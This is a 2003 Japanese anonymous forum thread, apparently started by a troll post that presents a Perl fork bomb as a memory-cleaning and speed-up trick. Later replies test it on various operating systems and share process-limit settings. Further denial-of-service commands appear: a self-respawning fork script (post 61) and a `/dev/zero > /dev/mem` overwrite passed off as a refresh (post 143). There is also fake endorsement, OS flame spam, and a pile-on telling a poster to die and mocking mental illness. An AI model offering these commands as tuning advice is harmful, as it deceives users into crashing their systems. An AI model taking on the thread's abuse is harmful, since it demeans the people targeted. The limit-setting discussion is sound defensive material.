- 1 名前：名無しさん＠お腹いっぱい。 [03/06/19 01:31.net]
- UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、
$ perl -e 'while (1) { fork; }'
とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数％レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
- 53 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/21 12:54.net]
- ってことは>>46の死んだってのは嘘かよ
- 54 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/21 13:57.net]
- >>53
死なないだろ。
つか、死なない。
いちおう試してみた。
Linux 2.4.20 (Gentoo)
Pentium2 233Mhz
mem 128MB
>>46は8年間 コールドスリープしてたんじゃないのか？
- 55 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/21 15:05.net]
- 実際、fork するだけなら死なないだろ。
死んだらあまりにもアホ。そんな OS はバカにしていい。
>>48
んなこたぁないだろ。
オーバーコミットしないようにチェックを厳しくすりゃいいだけだろ。
- 56 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/23 04:25.net]
- 近頃のOS/マシンはそうそう落ちないだろうが、CPUやバスが貧弱、
メモリも少ない昔のマシンは簡単に落ちた。pingにさえまともに
応答しなくなって、やむなくStop+A。
- 57 名前： [03/06/23 20:08.net]
- windowsのﾒﾓﾘｸﾘﾅ-（blueback ⇒ 再起動)に勝てるﾒﾓﾘｸﾘﾅ-は無い
- 58 名前：あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 59 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/23 20:36.net]
- >>56
しかし、そうするとファイルシステムまで
吹き飛ぶ罠。
- 60 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/23 21:28.net]
- ウチのレガッタは落ちませんでした。
落ちたらそいつ自身のダンプを取ってやろうとか
思ったんだけどね。
まぁぎりぎりで縮退かかるだけかな…
- 61 名前：名無しさん＠お腹いっぱい。 [03/06/23 23:10.net]
- 1のスクリプトだと固まるには固まるが CTRL+C で脱出できる。
下のやつだと
sh: fork: リソースが一時的に利用できません
/usr/bin/nohup: fork: リソースが一時的に利用できません
sh: fork: リソースが一時的に利用できません
と流れるもののコンソールのもう片方では以下のコマンドが普通にうごく始末。
[root@g /root]# cat test.pl
#!/usr/bin/perl
while(1){
if( ! fork ){
system(" nohup perl ./test.pl & ");
}
}
[root@g /root]# ps ax | wc
2089 12527 83984
[root@g /root]# uname -ar
Linux g.privnet 2.2.18-0vl4.2my #1 2002年 7月 7日(日) 23時32分59秒 JST i686 unknown
[root@g /root]# cat /proc/cpuinfo | grep model
model : 8
model name : Pentium III (Coppermine)
[root@g /root]# cat /proc/cpuinfo | grep MHz
cpu MHz : 847.192
[root@g /root]# ps ax | wc
2089 12527 83984
なーにが Regatta だよ
- 62 名前：あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 63 名前：名無しさん＠お腹いっぱい。 [03/06/23 23:17.net]
- for i in `ps ax | grep perl | cut -f1 -d" " `
復旧〜
- 64 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/23 23:23.net]
- >>63
それも途中でコケそう。プロセスいっぱい使うし。
rootでnice値をマイナスにすれば大丈夫か・・・
レガッタってAIXだろ？
- 65 名前：60 mailto:sage [03/06/23 23:48.net]
- >>64
CPU16個で5%ほど1つのAIXに割り当てて
fork!fork!fork!
でもやっぱ大した事無かったでつよ。
- 66 名前：名無しさん＠お腹いっぱい。 [03/06/24 00:15.net]
- >>64
いけましたぜ旦那
要は去年の犬糞カーネルでも痛くも痒くもねえって事
それをわざわざ Regatta でやりますかね
メモリー食いつぶすかファイルをひたすらオープンし続けるか
起動しないプロセスを終了しないプロセスが待ち続けつつ増殖するとか
- 67 名前：名無しさん＠お腹いっぱい。 [03/06/24 02:29.net]
- ためしにやってみました
P55C 200MHz
RedHat8.0 kernel2.4.20-18.8
MEM 128MB
Apache2.0が作動しなくなって
SSHでの接続も出来なくなりました
その後 PPPoEも停止
結局は落ちたも同然の状況
カーソル画面でrootログインを使用とするがPasswd:の返事もない
うーむ、もしかしてLinuxってだめぽ？
それとも漏れの鯖が非力なだけ？
- 68 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/24 02:47.net]
- > うーむ、もしかしてLinuxってだめぽ？
そうだね。乗り換えたほうが良いよ。
他に選択肢があれば、ね。
- 69 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/24 03:12.net]
- 変態forkに負けない
スケジュール優先度の高い専用アカウントを作っておく、とか。
- 70 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/24 04:13.net]
- 67でつが
次回はFreeBSDでも入れて試してみます〜
- 71 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/24 06:18.net]
- >>70
だから新しいプロセスが出せないんだって。
limit でもしてなきゃ同じだよ。
- 72 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/24 07:08.net]
- login.conf とかでかなり制限かけないと、
FreeBSDの初期 kern.maxfiles と kern.maxfilesperproc （maxusersで変動）が
思ったよりも近い値になるので、すぐにファイルディスクリプタを使い切りますね。
fork() && socket()ループするとすぐいっぱいになる。
- 73 名前：名無しさん＠お腹いっぱい。 [03/06/24 16:45.net]
- これだろ
purejp.com
- 74 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/24 18:09.net]
- RedHat9で死んだよ
Xeon2.66GHz 512M rootで実行
- 75 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/24 19:16.net]
- おれもやってみたけど、
Linuxだと簡単に死ぬ。
- 76 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/24 20:32.net]
- 犬は死ぬ！
必ず死ぬ！
絶対死ぬ！
- 77 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/24 21:17.net]
- >>74-76
( ´,_ゝ`)ﾌﾟｯ
- 78 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/24 21:25.net]
- Windows2kだと死なない
>perl -e "while (1) { fork; }"
The Unsupported function fork function is unimplemented at -e line 1.
とても安全だ
- 79 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/24 22:16.net]
- Windows最強説浮上
- 80 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/24 22:33.net]
- 漏れのunixも安全ﾀﾞﾀｰﾖ
>% perl -e "while (1) { fork; }"
>perl: Command not found.
- 81 名前：名無しさん＠お腹いっぱい。 [03/06/24 23:57.net]
- [sato@alpha sato]$ ulimit -Ha
core file size (blocks) unlimited
data seg size (kbytes) unlimited
file size (blocks) unlimited
max memory size (kbytes) 3200
stack size (kbytes) 6800
cpu time (seconds) 120
max user processes 2048
pipe size (512 bytes) 8
open files 1024
virtual memory (kbytes) 2103951
Linux . 効果なし。だめぽ〜
- 82 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 00:05.net]
- *BSDで試した人いないの？
- 83 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 00:41.net]
- >>82
FreeBSD 4.8-STABLE で試した。
何か起動しようとすると、
No more processes.
が出て起動できないが、他は異常なし。
あと、カーネルがこのメッセージを吐いていた。
pmap_collect: collecting pv entries -- suggest increasing PMAP_SHPGPERPROC
- 84 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 00:47.net]
- Linuxとかって子プロセスの数の制限ってかけられないの？
- 85 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 00:50.net]
- >>82
OpenBSD 3.0 だけど、100 コ以上プロセス起動されたらかなり重くなるけど。
/etc/login.conf でデフォルト maxproc-max=128 の制限があるので落ちることはなかったけど。
- 86 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 00:54.net]
- 落ちるのはうんこOSということだな
- 87 名前：名無しさん＠お腹いっぱい。 [03/06/25 00:56.net]
- Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
- 88 名前：名無しさん＠お腹いっぱい。 [03/06/25 01:06.net]
- うんこ → Linux
↑ ↓
Linux ← うんこ
- 89 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 01:08.net]
- よくわからんな。Linuxでも大丈夫という報告もあるし。
だいたい、死ぬってどういう状態なのかがわからん。
プロセス起動できずにログイン失敗は仕方無い。
ほんとにkernelが固まるのかねえ？
- 90 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 01:17.net]
- >>89
さあ。
うちのはvanillaの2.4.21だけどなんともないけどねぇ。
新しくアプリを起動できなくなるだけ。
ディストロ依存じゃねーの？
- 91 名前：名無しさん＠お腹いっぱい。 [03/06/25 01:20.net]
- これ最強。
$ ruby -e '(1..10).each{ fork }'
- 92 名前：名無しさん＠お腹いっぱい。 [03/06/25 01:21.net]
- ( ´,_ゝ`)ﾌﾟﾌﾟｯ
Linuxってうんこじゃん
- 93 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 01:24.net]
- リナックスうんこ説浮上
- 94 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 01:45.net]
- FreeBSD 5.1R生存。
実験環境: Pen4 1.7GHz(HT off),Mem 1.2GB
実験経過:
perl -e 'while(1){fork();}'実行直後、maxprocperuidで指定された分を使い果たすまでは
マウスを動かすのでさえ異常に緩慢な動きになる。
しかしながら、使い果たしてからは新しくプロセスを作れないほかは何事も無かったかの
ように動作した。
別のterminalからexec killall perlを実行すると再び若干動作が緩慢になるが、
perlがすべてkillされた時点で通常の動きにすべて回復した。
4.8Rは出ているようなので今度NetBSDでやってみよう。
- 95 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 01:50.net]
- >>90
別に犬の方を持つわけではないが、
停止したと**思って**何秒たったらfreezeとみなすかはかなり個人差があると思われるな。
もれは30分放置して操作不能なら死んだと解釈するが。
- 96 名前：名無しさん＠お腹いっぱい。 [03/06/25 02:09.net]
- >>95
目の前の不全PCと睨めっこ３０分とは気が長いですね。
俺はせいぜい３分ですがね。
まあ、運用で一晩気づかない事はあるだろうけど。
- 97 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 02:11.net]
- 犬房は気が長い（＝不感症）説浮上
- 98 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 02:52.net]
- >>95
別に固まりもしないんだが。
実行したときにスワップしてカクカクするぐらい。
ってか「死ぬ」っていうのはどういう状態なのよ > 使ってる香具師
- 99 名前：あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 100 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 02:57.net]
- 「死ぬ」っていいたいだけちゃうんかと（ｒｙ
- 101 名前：名無しさん＠お腹いっぱい。 [03/06/25 02:58.net]
- Linuxはうんこだから死にます
- 102 名前：名無しさん＠お腹いっぱい。 [03/06/25 03:01.net]
- すげえ！
早くなったよ！
>>1は神！！！
- 103 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 03:29.net]
- 何にしてもアンチというのは現状を見ようとしませんね。
「死ぬ」という事にしたいだけなんでしょうけど。
哀れ。
- 104 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 03:38.net]
- コレかな?
ユーザーごとに使用できるリソース制限をしたい
www.zdnet.co.jp/help/tips/linux/l0652.html
- 105 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 04:48.net]
- UNIXベースのMacOSXでは無理ですた。
- 106 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 05:41.net]
- >>78
そーいやWin2Kで(迂闊にも)部落ら踏んだ時は、GDIだかUSERだかの
リソース制限超えてExplorer反応無し->あぼーん、そのままログオフも
できずCTRL+ALT+DELにも反応せず、結局電源ぶちしか出来なくなった
事があったな。
# NT系でも一応リソース制限はあるらしい。つか、リソース食いつぶし
# を防ぐ為に制限してると聞いたが、効果無いやん…
今回のようにコンソールプロセスなら大丈夫なのかもしれんが。
- 107 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 06:33.net]
- **実験結果**
/etc/pam.d/login と /etc/pam.d/ssh に
---
session required pam_limits.so
---
を追加。
以下の内容で/etc/security/limits.conf を作成
---
@stupiduser hard priority 19
@stupiduser hard nofile 8139
@stupiduser hard nproc 20
@stupiduser - maxlogins 2
---
/etc/login.defs の "QUOTAS_ENAB" は
deprecatedらしいのでコメントにする。
念のために3つ以上ログインしようとすると"permission denied"が返ってくる
、つまり設定有効になっていることを確かめてから >>1 をやってみた。
ぜんぜん平気だった。
- 108 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 06:37.net]
- 訂正
-@stupiduser
+@stupidgroup
ユーザー名で指定するときは頭の@は要らず、
また、ワイルドカードが使用可の模様。
- 109 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 10:25.net]
- >>96
いやー、mbuf cluster使い切るとpingとかにもぜんぜん答えなくなるけれど、
これって3分くらいで回復しないのではないかと思うので30分くらい待ちましょうということで。
>>97
むしろすぐに「死んだ」と言うなんてかなり気が短いと思うが。
- 110 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 10:26.net]
- >>107
実験環境キボーンヌ。
OSは?kernel versionは?マシンのスペックは?
- 111 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 10:28.net]
- >>109
でもさすがに３０分も放置ﾌﾟﾚｲだとTCPも切れるし、
fsck時間考慮しても再起動したほうが早くね？
- 112 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 12:47.net]
- うちではfsckなんてありません。
ジャーナリングファイルシステム マンセー
- 113 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 14:19.net]
- うちではfsckなんてありません。
スキャンディスク マンセー
- 114 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 14:21.net]
- ﾜﾗﾀ
- 115 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 18:30.net]
- 結局は何も設定してないLinux系は止まってしまうということですか…
- 116 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 19:03.net]
- いいえ
つか、アンチ必死だな
- 117 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 19:05.net]
- で、どうやったらLinux止まるんだ？
>>1のやつじゃ、ビクともしませんが。
- 118 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 19:10.net]
- halt
もしくは
shutdown -h now
確実に止まります、Linuxに限らずUnix系OSはウンコですね。
- 119 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 19:15.net]
- Linuxは30分に１分程度使えるくらいなら正常動作説浮上
- 120 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 19:16.net]
- Windowsはコマンド一個じゃ止まりません。
すばらしい堅剛性 まさに無敵。
おまいら、羨しいだろ。
素直にWindows使え。
- 121 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 19:17.net]
- >>119
ﾊｧ? 何言ってんの？
WindowsやMacと一緒にすんなよ。
きもちわりー
- 122 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 19:20.net]
- 無知な窓坊相手にするなよ。
30分に１分使えれば正常動作説 ってことにしといてやれよ。
じゃないと、>>119が可哀想。
ああいう事するしか自分を支え術がないんだよ。
可哀想な人なんだよ。
- 123 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 19:25.net]
- そうか、すまんかった>>119
イキロ
- 124 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 19:27.net]
- 可哀想な>>119を慰めるスレはここですか？
- 125 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 19:38.net]
- >>119
がんがれよ、その内いいこともあるさ
- 126 名前： mailto:sage [03/06/25 19:41.net]
- >>119
がんがれよ、その内いいこともあるさ
- 127 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 19:41.net]
- >>119に友達になってくれそうな人探してきた。
いらすま
山崎渉
山崎13
自動化
よかったね。 友達増えそうだね。
- 128 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 19:43.net]
- >>119
がんがって氏ね
- 129 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 19:45.net]
- >>128
そんな事いっちゃみもふたもないよ!
どんな奴にも生きる権利はあるんだよ!!
がんがれ>>119 まけんな!
いつか良いことあるさ!
とりあえず、学校で友達つくろうね!
- 130 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 19:51.net]
- >>119
友達作る前に、まずは家から出ようね!
- 131 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 19:54.net]
- >>119
家から出る前に、家族と話す練習しておこうね!
- 132 名前： mailto:sage [03/06/25 20:09.net]
- 漏は、>>119 が可哀想になってきたよ
- 133 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 20:20.net]
- >>132
みんな同じ気持だよ!
だから>>119を応援してあげようね!
>>119 カウンセリングはちゃんと受けようね!
病院の先生の言う事聞いて早く学校に行けるようになると良いね!!!
学校で精神薄弱者扱いされても、めげちゃだめだよ!!!!
- 134 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 21:09.net]
- >>1
動かしました。
スワップぎこぎこ言ってたのでCTRL+Cしたあとにfreeしたら
空きがすっぽり増えてました・・・
けどキャッシュがへってんじゃねぇかよ！意味ねぇっつうの！
- 135 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 22:26.net]
- >>134
書き込む前にレスは嫁
- 136 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/25 22:38.net]
- >>1のやり方じゃあスワップは発生せんということ
- 137 名前：119 mailto:sage [03/06/26 01:02.net]
- >>123
ありがと。わかってくれるのはきみと>>109だけだよ。
- 138 名前：名無しさん＠お腹いっぱい。 [03/06/26 01:13.net]
- CTRL+C で抜けられるジャン、は「落ちている」の範疇に含まれるですね。
すいませんでした。
>>107
[root@g /root]# uname -r
2.2.18-0vl4.2my
で同じ設定やってみました。
一般ユーザーからならこれで大丈夫なことが私の方でも
上記カーネルの Vine 2.1.5 で確認できました。
ただやはり root からだと駄目みたいです。
プロセスが起動できませんとかってコマンドがでてしまいます。
CTRL+C できない状況だった場合は、もうどうしよーも無いという認識
でOKでしょうか。
SysRq キーとかから蘇生させる方法とか、なんかまた明日の就業時間
中にでも調べてみます。
＞＞＜レガッタでやった人の番号＞
# 会社のマシンじゃRegatta どころか C20 とかでもこんなこと
# 俺できない立場っすよ。いいですね本当に良い物で遊べるなんて。
- 139 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/26 04:46.net]
- ctrl+alt+k
- 140 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/26 11:27.net]
- >>118
見てたら眠くなってきた。
- 141 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/26 11:50.net]
- Ctrl+Cでは止まらんかったぞい
- 142 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/26 12:07.net]
- >>120
www.microsoft.com/japan/windowsxp/expertzone/tips/february/randow1.asp
arena.nikkeibp.co.jp/qa/os/20020320/01/
知識を得てから煽れ。
- 143 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/26 12:48.net]
- どりゃぁ！
sudo cat /dev/zero > /dev/mem
少しすっきり・・・しない？
- 144 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/26 15:50.net]
- まあとにかく
結果はどうあれ
Ｌ ｉ ｎ ｕ ｘ は ウ ン コ
と に か く ウ ン コ
絶 対 ウ ン コ
ウ ン コ 以 外 あ り え な い
Ｗ ｉ ｎ ｄ ｏ ｗ ｓ 最 強
- 145 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/26 16:11.net]
- さっき、自鯖にNetBSD入れました…
社内用なんでSambaとApacheしか動かさないけど
それでいいよね（ｗ
- 146 名前：名無しさん＠お腹いっぱい。 [03/06/26 16:20.net]
- Ｗ ｉ ｎ ｄ ｏ ｗ ｓ を 入 れ な さ い
Ｎ ｅ ｔ Ｂ Ｓ Ｄ な ん て 気 違 い の 使 う 物 で す
- 147 名前：あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 148 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/26 18:26.net]
- >>146
いれるまでもなく最初から入ってますが。
- 149 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/26 18:41.net]
- ふーん
- 150 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/26 18:45.net]
- この板にもWin厨がいるんだ・・・
ってかtatibanaか？Linux板で居場所がなくなったからこっちきたとか？
- 151 名前：おむこさん志望 ◆QtGqCwfDSA mailto:ちょと面白いネタだけど糞スレなので sage [03/06/26 20:10.net]
- Linux 2.5.72/Celeron 1.4G/384MB で試した結果、ユーザの最大プロセス数が
大きい値( Debian sid で 3071 )でかつカーネルパラメータを特に変更せずに
>>1 をやると結構辛い(一応再起動せずに終了できたけど。)
>>84
/proc/sys/kernel/threads-max をもっと小さめ(デフォルトで6000)に制限して
おくと unlimited でもハングアップしなくなるよ。
NetBSD 1.6.1 では、ユーザ側でたとえ最大プロセス数が unlimited でも
/netbsd: proc: table is full - increase kern.maxproc or NPROC と >>83 みたいに
デフォルトの値が小さめになってる(というか Linux のデフォルトがまずいのか)ので
問題なく終了できた。
- 152 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/06/26 20:12.net]
- ほらLinuxはウンコだ。
Windowsは自己防御のために再起動してくれる親切設計なのにね。
Linuxは時代遅れ決定(ｹﾞﾗｹﾞﾗ
- 153 名前：名無しさん＠お腹いっぱい。 mailto:age [03/06/26 20:13.net]
- Linuxウンコ記念age
|
 |
